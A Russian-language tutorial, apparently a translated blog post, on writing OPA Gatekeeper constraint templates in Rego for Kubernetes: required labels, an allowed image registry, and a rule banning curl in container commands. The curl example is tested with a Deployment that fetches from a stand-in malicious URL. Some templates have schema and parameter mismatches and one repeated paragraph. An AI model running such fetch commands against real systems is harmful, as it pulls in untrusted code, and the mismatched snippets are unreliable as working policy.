Эта статья для тех, кто уже знаком с Open Policy Agent (OPA) и тем, как он работает. Чтобы освежить свои знания, рекомендуем сначала почитать вот эту статью.

OPA можно интегрировать практически куда угодно, включая Kubernetes. Из этого материала вы узнаете, как интегрировать OPA в Kubernetes, и на примерах рассмотрите преимущества этой интеграции. В Kubernetes мы развертываем OPA как контроллер доступа

Что такое контроллер доступа?

Контроллер доступа (admission controller) — это код, который перехватывает запросы к серверу Kubernetes API до сохранения объекта, но после аутентификации и авторизации. Если вы отправляете серверу API запрос на создание нового развертывания и у вас есть все нужные разрешения, контроллер доступа может перехватить, а затем изменить, проверить или выполнить оба действия для этого запроса. Контроллеры доступа компилируются в сервер API и находятся в том же двоичном файле, так что мы можем включать их с помощью флагов командной строки. См. официальную документацию по Kubernetes.

Рассмотрим пример контроллера доступа AlwaysPullImages. Допустим, мы создали объект развертывания в кластере, в котором контейнеры извлекают образ myprivateimage из реестра Gitlab и помещают его на узел, где ничто не мешает другим подам (из других развертываний) использовать кэшированную версию этого образа (если, конечно, поды запланированы на подходящей ноде). Если образ настроен как частный и нужно вводить учетные данные, чтобы извлечь его из реестра, эту меру безопасности можно легко обойти и получить образ из реестра, не проходя аутентификацию. Контроллер доступа AlwaysPullImages перехватывает запрос на создание развертывания и изменяет его, чтобы подам приходилось извлекать образы из удаленного репозитория при запуске и перезапуске.

OPA как контроллер доступа

Когда мы развертываем OPA как контроллер доступа, для кластера можно настроить самые разные ограничения. Например:

  • У подов должен быть sidecar-контейнер, который будет отвечать за аудит и ведение логов задач в соответствии с политикой безопасности.

  • Ко всем ресурсам будут добавляться определенные аннотации.

  • Образы контейнеров должны изменяться так, чтобы всегда указывать на корпоративный реестр образов.

  • Для развертываний устанавливаются селекторы affinity и anti-affinity.

OPA Gatekeeper

Это относительно новый проект, который заметно упрощает интеграцию OPA в Kubernetes и дает дополнительные преимущества:

  • Расширяемая библиотека параметризованных политик.

  • Кастомное определение ресурсов (Custom Resource Definition, CRD) Kubernetes для создания ограничений.

  • Еще одно CRD для расширения ограничения (шаблон ограничения).

  • Возможности аудита.

Установка OPA Gatekeeper

Чтобы установить OPA Gatekeeper в Kubernetes, вам потребуется версия Kubernetes не ниже 1.14 и разрешения администратора в кластере.

Если у вас все это есть, проще всего будет установить OPA Gatekeeper следующей командой:

kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml

Можно еще выполнить сборку локально или использовать Helm, а также установить агент на предыдущих версиях Kubernetes. Эти варианты см. в документации проекта. Как видно в выходных данных команды, YAML-файл создал пространство имен, CRD, аккаунт сервиса с необходимыми ролями и привязками ролей, а также другие компоненты.

Пример 1. Применение метки ко всем новым пространствам имен

Чтобы рассмотреть следующие примеры, установите стек Gatekeeper любым способом. Для начала давайте посмотрим, как работает Gatekeeper.

Чтобы определить ограничение (библиотеку политик), нужно определить шаблон ограничения. Этот шаблон определяет код Rego с правилами и схему, к которой можно применять ограничение. Схема определяет параметры, которые будет принимать это CRD. Их можно сравнить с параметрами, которые передаются функции в других языках программирования. Этот шаблон ограничения взят из официальной документации. Он предписывает добавлять к каждому создаваемому пространству имен все метки, определенные ограничением.

apiVersion: templates.gatekeeper.sh/v1beta1 
kind: ConstraintTemplate
metadata:
 name: k8srequiredlabels
spec:
 crd:
  spec:
   names:
    kind: K8sRequiredLabels
    listKind: K8sRequiredLabelsList
    plural: k8srequiredlabels
    singular: k8srequiredlabels
   validation:
    # Schema for the `parameters` field
    openAPIV3Schema:
     properties:
      labels:
       type: array
       items: string
targets:
  - target: admission.k8s.gatekeeper.sh
   rego: |
    package k8srequiredlabels
violation[{"msg": msg, "details": {"missing_labels": missing}}] {
     provided := {label | input.review.object.metadata.labels[label]}
     required := {label | label := input.parameters.labels[_]}
     missing := required - provided
     count(missing) > 0
     msg := sprintf("you must provide labels: %v", [missing])
    }

Что мы здесь видим? В начале указывается информация о CRD — apiVersion и т. д. В разделах metadata и spec мы указываем имя шаблона, в том числе в единственном и множественном числе. Обратите внимание на openAPIV3Schema в строке 15. Здесь мы определяем параметры, которые будет принимать шаблон, или метки, которые могут определять это ограничение. В разделе targets записан собственно код Rego. Давайте его разберем.

  • violation[{“msg”: msg, “details”: {“missing_labels”: missing}}] — так должна начинаться любая политика. В этой части определяется, какое сообщение увидит пользователь при нарушении политики.

  • violation здесь представляет правило. Правило считается нарушенным, если условие истинно. Условие правила заключается в фигурные скобки {}.

  • provided := {label | input.review.object.metadata.labels[label]} — здесь мы определяем переменную provided, в которой будем хранить список меток для ресурса. Код после «:=» означает, что нужно выполнять итерацию по словарю «метка=значение». Найти значение, указанное в запросе, и извлечь ту часть, в которой указана метка (то есть ключ). В Rego это называется генератор списков (comprehension). В Python есть похожая концепция с тем же названием.

  • required := {label | label := input.parameters.labels[]} — обязательные (required) метки приводятся в виде массива, а не словаря (эти метки предоставляются через CRD, которое мы скоро создадим). Итак, мы определяем переменную required, содержащую список всех меток, которые должны быть в ресурсе. Это выражение означает, что выполняется итерация по всем элементам в массиве меток, и результат назначается для required.

  • missing := required — provided. Теперь у нас есть два массива — с обязательными (required) и с предоставленными (provided) метками. Это выражение создает массив с элементами, которые находятся в списке required, но не provided.

  • count(missing) > 0. Если таких элементов больше нуля, значит нам не хватает каких-то обязательных меток и политика нарушена.

  • msg := sprintf(“you must provide labels: %v”, [missing]). Для нарушения политики нужно определить переменную msg, которая отображается в первой строке правила. Текст сообщения, которое увидит пользователь, мы придумываем сами.

  • Да, поначалу Rego кажется сложным, поэтому мы можем проверять свои политики в инструменте Rego Playground. Давайте добавим политику на главную панель. На панели INPUT можно имитировать запрос от Kubernetes:

{
  "review": {
    "object": {
      "metadata": {
        "labels": {
          "app":"web",
          "tier":"front"
      }
}
    }
  },
  "parameters": {
    "labels": [
      "gatekeeper"
    ]
 }
}

Обратите внимание, что мы специально не добавили обязательную метку, чтобы нарушить политику. Нажимаем кнопку Evaluate и на панели OUTPUT изучаем JSON-объект, возвращенный кодом Rego.

Чтобы применить эту конфигурацию к кластеру, выполняем команду:

kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/demo/basic/templates/k8srequiredlabels_template.yaml

Определив шаблон ограничений, можно создать ограничение на его основе:

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredLabels
metadata:
 name: ns-must-have-gk
spec:
 match:
  kinds:
   - apiGroups: [""]
    kinds: ["Namespace"]
 parameters:
  labels: ["gatekeeper"]

В кластере можно определить несколько шаблонов ограничений, но сами по себе они ничего не делают — из них нужно создать ограничение. В конфигурации выше мы определяем ограничение, которое использует K8sRequiredLabels.

  • Тип (kind) должен совпадать со значением kind, определенным в шаблоне ограничений.

  • В разделе kinds мы определяем ресурс Kubernetes, к которому будет применяться политика. В нашем примере совпадением будет считаться любой объект apiGroup типа Namespace.

  • В разделе parameters ожидается массив меток, наличие которых политика будет проверять в пространстве имен. Мы хотим, чтобы ко всем пространствам имен добавлялась метка gatekeeper.

Применив это определение, получим сообщение JSON, очень похожее на то, что мы видели в Rego Playground. Применяем определение следующей командой:

kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/demo/basic/constraints/all_ns_must_have_gatekeeper.yaml

Давайте протестируем эту политику — создадим YAML-файл, который развертывает новое пространство имен с именем mynamespace. YAML-файл не добавляет к пространству имен никаких меток:

apiVersion: v1
kind: Namespace
metadata:
name: mynamespace

Применяем YAML-файл в кластере:

$ kubectl apply -f namespace.yaml
Error from server ([denied by ns-must-have-gk] you must provide labels: {"gatekeeper"}): error when creating "namespace.yaml": admission webhook "validation.gatekeeper.sh" denied the request: [denied by ns-must-have-gk] you must provide labels: {"gatekeeper"}

Как видим, Kubernetes отказывается создавать пространство имен, хотя с YAML-файлом все в порядке. Дело в том, что мы нарушили ограничение OPA Gatekeeper и не добавили метку gatekeeper в определение пространства имен. Изменим YAML-файл:

apiVersion: v1
kind: Namespace
metadata:
 name: mynamespace
 labels:
  gatekeeper: OPA

С этим определением у нас все получится. Политика ищет метку gatekeeper и не обращает внимания на ее значение. Мы добавили метку gatekeeper и задали для нее значение OPA, но можно было указать что угодно, проблем бы не возникло.

Пример 2. Образы можно загружать только с gcr.io

Организации часто запрещают пользователям загружать и запускать образы Docker из старых реестров, где могут храниться фиктивные образы, угрожающие безопасности кластера. В других организациях разрешены образы только из частного репозитория, где хранятся безопасные и надежные ресурсы. OPA Gatekeeper помогает ограничить источники образов.

Начнем с создания шаблона ограничения. Шаблон определяет, какие параметры нужно указать, и содержит код Rego, который будет выполнять проверку. Файл k8srequiredregistry_template.yaml:

apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
 name: k8srequiredregistry
spec:
 crd:
  spec:
   names:
    kind: K8sRequiredRegistry
   validation:
    # Schema for the `parameters` field
    openAPIV3Schema:
     properties:
      image:
       type: string
 targets:
  - target: admission.k8s.gatekeeper.sh
   rego: |
    package k8srequiredregistry
    violation[{"msg": msg, "details": {"Registry should be": required}}] {
     input.review.object.kind == "Pod"
     some i
     image := input.review.object.spec.containers[i].image
     required := input.parameters.registry
     not startswith(image,required)
     msg := sprintf("Forbidden registry: %v", [image])
    }

Если присмотреться, этот код очень похож на код из первого примера, но:

  1. Мы изменили name и kind. Кстати, для kind значение всегда должно быть в регистре Camel Case.

  2. В части про схему мы указали, что параметр должен иметь имя image и тип string.

  3. Наконец, мы пишем код Rego. Рассмотрим его построчно:

  • Строка violation стандартная. В ней указано сообщение, которое увидит пользователь при нарушении правила.

  • input.review.object.kind == “Pod”. Это правило применяется только к объектам Pod.

  • some i определяет переменную i.

  • image := input.review.object.spec.containers[i].image — путь YAML к образу. Здесь мы проходим по массиву контейнеров с помощью переменной i. Если у нас, например, два контейнера, мы проверяем containers[0] и containers[1].

  • required := input.parameters.registry. Мы определяем переменную с именем реестра, которую мы передадим.

  • not startswith(image,required). С помощью встроенной функции startswith мы проверяем, начинается ли имя образа с имени нужного реестра.

  • msg := sprintf(“Forbidden registry: %v”, [image]). Это сообщение для пользователя, в котором сказано, почему не удалось извлечь выбранные образы.

Применяем определение шаблона:

kubectl apply -f k8srequiredregistry_template.yaml.

Теперь давайте создадим шаблон. Файл all_images_must_come_from_gcr.yaml:

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredRegistry
metadata:
 name: images-must-come-from-gcr
spec:
 match:
  kinds:
   - apiGroups: [""]
    kinds: ["Pod"]
 parameters:
  registry: "gcr.io/"

Мы указываем, что ограничение должно применяться только к подам, и передаем имя реестра, из которого нужно извлекать образы.

Применим определение ограничения:

kubectl apply -f all_images_must_come_from_gcr.yaml

Давайте протестируем наше ограничение — создадим объект Deployment, который будет извлекать образ контейнера из gcr.io (это разрешено). Файл sample.yaml:

apiVersion: apps/v1
kind: Deployment
metadata:
 name: busybox
spec:
 selector:
  matchLabels:
   app: busybox
 replicas: 1
 template:
  metadata:
   labels:
    app: busybox
  spec:
   containers:
   - name: busybox
    image: gcr.io/google-containers/busybox
    command:
    - sh
    - -c
    - sleep 1000000

Традиционный объект Deployment, который создает под в контейнере busybox. Мы используем версию образа busybox из gcr.io. Применим это определение командой kubectl apply -f sample.yaml. Теперь проверим, запущен ли под busybox:

$ kubectl get pods
NAME            READY  STATUS  RESTARTS  AGE
busybox-6d4b8cdb8f-rmlnn  1/1   Running  0     10s

Предположим, пользователь с доступом к этому файлу развертывания решил использовать образ busybox с Docker Hub:

  • Для чистоты эксперимента удалим развертывание: kubectl delete deployment busybox

  • Изменим имя образа в файле sample.yaml — image: busybox.

  • Применим измененное определение:

kubectl apply -f sample.yaml

Сообщений об ошибке мы не получили, но если вызвать список запущенных подов, мы увидим, что под не был создан:

$ kubectl get pods
No resources found in default namespace.

Давайте узнаем статус развертывания, чтобы понять, что произошло:

kubectl get deployments busybox -o yaml

Строк будет много, нам нужны несколько последних:

message: 'admission webhook "validation.gatekeeper.sh" denied the request: [denied
   by images-must-come-from-gcr] Forbidden registry: busybox'

Если применить определение ограничения, например myconstraint.yaml, можно увидеть не совсем понятную ошибку:

error: unable to recognize "myconstraint.yaml": no matches for kind "myconstraint" in version "constraints.gatekeeper.sh/v1beta1.

Причина этой ошибки кроется не в файле ограничения, а в файле шаблона. Что-то не так с нашим кодом Rego. К сожалению, если код Redo содержит ошибки, сервер API не сообщает об этом при размещении файла шаблона, но, если мы попытаемся применить определение ограничения, увидим приведенную выше ошибку. У нас есть два варианта узнать, что пошло не так.

Первый вариант

Получаем статус шаблона. Например:

$ kubectl get -f k8srequiredregistry_template.yaml -o yaml
status:
 byPod:
 - errors:
  - code: ingest_error
   message: "Could not ingest Rego: 1 error occurred: __modset_templates[\"admission.k8s.gatekeeper.sh\"][\"K8sRequiredRegistry\"]_idx_0:8:
    rego_type_error: startswith: too few arguments\n\thave: (any)\n\twant: (string,
    string, boolean)"
  id: gatekeeper-controller-manager-cdd47c5bd-smw6w
  observedGeneration: 2

Статус указан в последней части выходных данных. Здесь приводится сообщение об ошибке, которая возникла при попытке выполнить код Rego.

Второй вариант

Копируем код Rego, вставляем его на панели Rego Playground и нажимаем кнопку Evaluate. Например:

Пошаговое создание ограничения

Мы рассмотрели два примера использования OPA Gatekeeper для эффективного применения правил, которые не настроить с помощью RBAC. Давайте попробуем создать ограничение с нуля. Мы уже знаем, что нам нужен шаблон и ограничение, которое использует этот шаблон.

Шаг 1: определяем цель политики

Прежде чем приступить к написанию кода, нужно тщательно обдумать цель политики. Предположим, пользователь случайно загрузил вредоносный скрипт с помощью curl, и вы решили применить политику, которая запрещает использование curl в разделе с командами контейнера.

Шаг 2: получаем объект JSON, отправленный в OPA Gatekeeper

Если мы хотим протестировать код Rego и попробовать разные подходы, нам нужен необработанный объект JSON, который сервер API отправляет контроллеру доступа. Чтобы получить этот объект:

  1. Создаем шаблон, который запрещает все запросы и возвращает объект review. Файл k8sdenyall_template.yaml:

apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
 name: k8sdenyall
spec:
 crd:
  spec:
   names:
    kind: K8sDenyAll
 targets:
  - target: admission.k8s.gatekeeper.sh
   rego: |
    package k8sdenyall
violation[{"msg": msg}] {
     msg := sprintf("REVIEW OBJECT: %v", [input.review])
    }

2. Создаем ограничение, которое использует этот шаблон. Файл deny-all-pods.yaml:

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sDenyAll
metadata:
 name: deny-all-namespaces
spec:
 match:
  kinds:
   - apiGroups: [""]
    kinds: ["Pod"]

3. Вносим изменения в знакомое развертывание busybox, чтобы указать curl как часть свойства command для контейнера. Файл sample.yaml:

apiVersion: apps/v1
kind: Deployment
metadata:
 name: busybox
spec:
 selector:
  matchLabels:
   app: busybox
 replicas: 1 
 template:
  metadata:
   labels:
    app: busybox
  spec:
   containers:
   - name: busybox
    image: busybox
    command:
    - sh
    - -c
    - curl
    - "http://xksqu4mj.fri3nds.in/tools/clay" # a link containing malicious code
    - sleep 1000000

4. Применяем определение. Никакие поды создаваться не будут, потому что мы запретили это действие. Проверим статус развертывания, чтобы получить объект input.review:

kubectl get deployment busybox -o yaml
#### TRIMMED FOR BREVITY ######
message: |-
   admission webhook "validation.gatekeeper.sh" denied the request: [denied by images-must-come-from-quay] Forbidden registry: busybox
   [denied by deny-all-namespaces] REVIEW OBJECT: {"resource": {"vers

Шаг 3: пишем код Rego в Playground

Копируем объект JSON input.review из выходных данных на шаге 2. Код JSON после "REVIEW OBJECT:" вставляем на панель INPUT в Rego Playground. Вот что получится:

Мы подготовили объект INPUT и теперь можем написать следующий код в главной панели:

package k8savoidmalscript
violation[{"msg": msg, "details": {"Unallowed code detected": code}}] {
 code := "curl"
 input.object.kind == "Pod"
 input.object.spec.containers[_].command[_] == code
 msg := sprintf("%v is not allowed:", [code])
}
  • Часть violation содержит сообщение, которое увидит пользователь при попытке добавить curl в команды контейнера.

  • Мы создали переменную code и назначили ей значение curl. Мы делаем это только для тестирования, в шаблоне мы заменим эту часть на code:= input.parameters.code.

  • В качестве объекта мы указали Pod.

  • input.object.spec.containers[].command[] == code. Мы проходим по дереву JSON, чтобы найти массив containers. Массив containers содержит нужный нам массив — command. Обычно при итерации по двум вложенным массивам приходится создавать два вложенных цикла с двумя разными итерационными переменными, но в Rego все гораздо проще — мы используем символ подчеркивания (). Rego понимает, что это означает рекурсивную итерацию по массиву массивов (у нас может быть много массивов containers, в каждом по массиву commands). Как только этот оператор становится истинным (строка curl обнаружена в массиве commands), итерация останавливается и оператор оценивается как true. Обратите внимание: здесь мы используем объект input.object, где input обозначает код на панели входных данных (корень). В шаблоне мы называем этот объект input.review.object, потому что мы скопировали содержимое JSON в узле review.

  • msg := sprintf(“%v is not allowed:”, [code]). Наконец, определяем переменную msg, которая будет содержать сообщение для пользователя.

Шаг 4: развертываем шаблон и файлы ограничения

Нам нужен файл шаблона и ограничение на основе шаблона. Сначала удалим имеющийся шаблон deny-all:

kubectl delete -f k8sdenyall_template.yaml

Теперь файл шаблона выглядит так:

apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
 name: k8savoidmalscript
spec:
 crd:
  spec:
   names:
    kind: K8sAvoidMalScript
   validation:
    # Schema for the `parameters` field
    openAPIV3Schema:
     properties:
      image:
       type: string
 targets:
  - target: admission.k8s.gatekeeper.sh
   rego: |
    package k8savoidmalscript
    violation[{"msg": msg, "details": {"Unallowed code detected": code}}] {
     code := "curl"
     input.review.object.kind == "Pod"
     input.review.object.spec.containers[_].command[_] == input.parameters.code
     msg := sprintf("%v is not allowed:", [code])
    }

Обратите внимание на изменения, которые мы внесли в код Rego на предыдущем шаге.

Применяем наше определение к кластеру и создаем файл ограничения:

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sAvoidMalScript
metadata:
 name: prevent-malicious-code
spec:
 match:
  kinds:
   - apiGroups: [""]
    kinds: ["Pod"]
 parameters:
  code: "curl"

Применяем и это определение.

Наконец, пробуем создать развертывание (если у вас уже есть busybox, лучше сначала его удалить):

kubectl apply -f sample.yaml

Никакие поды создаваться не будут. Давайте узнаем статус развертывания:

kubectl get deployments busybox -o yaml
- lastTransitionTime: "2020-05-03T13:08:41Z"
  lastUpdateTime: "2020-05-03T13:08:41Z"
  message: 'admission webhook "validation.gatekeeper.sh" denied the request: [denied
   by prevent-malicious-code] curl is not allowed:'
  reason: FailedCreate
  status: "True"
  type: ReplicaFailure

Стоит убедиться, что мы все же можем создавать развертывания без curl в массиве команд в containers. Для этого удалим развертывание, изменим файл и применим определение. Под busybox должен запускаться, как обычно.

Резюме

  • В код сервера API входит контроллер доступа. Его можно включить по желанию с помощью аргумента командной строки для кода сервера API.

  • Контроллер доступа перехватывает запросы, поступающие в API, чтобы создавать или изменять объекты до их сохранения.

  • Агент Open Policy Agent (OPA) можно интегрировать в Kubernetes с помощью OPA Gatekeeper. Этот проект оптимизирует создание политик OPA с помощью кастомных определений ресурсов (Custom Resource Definition, CRD).

  • Чтобы создать политику, понятную для OPA Gatekeeper, нам нужен шаблон CRD и ограничение, которое использует этот шаблон.

  • Шаблон содержит всю нужную информацию для работы ограничения, в том числе тип объекта, к которому он применяется, и при желании параметры, которые нужно предоставлять.

  • Применив шаблон и ограничение к кластеру, мы можем просмотреть сообщение об ошибке от OPA Gatekeeper в разделе со статусом нужного контроллера (например, Deployment).

  • В OPA политики определяются на языке Rego.

  • При создании новой политики лучше сначала испытать ее в веб-приложении Rego Playground.

  • В Rego Playground нам нужен объект JSON INPUT, чтобы проверить политику. Чтобы получить этот объект, нужно создать политику, которая запрещает все действия и выводит этот объект в сообщении.

    Причина этой ошибки кроется не в файле ограничения, а в файле шаблона. Что-то не так с нашим кодом Rego. К сожалению, если код Redo содержит ошибки, сервер API не сообщает об этом при размещении файла шаблона, но, если мы попытаемся применить определение ограничения, увидим приведенную выше ошибку. У нас есть два варианта узнать, что пошло не так.

Open Policy Agent (OPA) в Kubernetes вместе со Слёрмом

Приглашаем вас на продвинутый курс по Kubernetes. Там мы подробно разбираем такие темы, как Open Policy Agent, Network Policy, безопасность и высокодоступные приложения, ротация сертификатов, аутентификация пользователей в кластере, хранение секретов, Horisontal Pod Autoscaler, создание собственного оператор K8s, в общем, залезаем под капот Kubernetes.

Узнать подробнее про курс: https://slurm.club/3ANhHdD

Комментарии (1)


  1. ultraElephant
    06.09.2022 06:05
    +1

    У рего синтаксис написаный инопланетянами для других инопланетян. После полута лет мучений перекатились на jspolicy.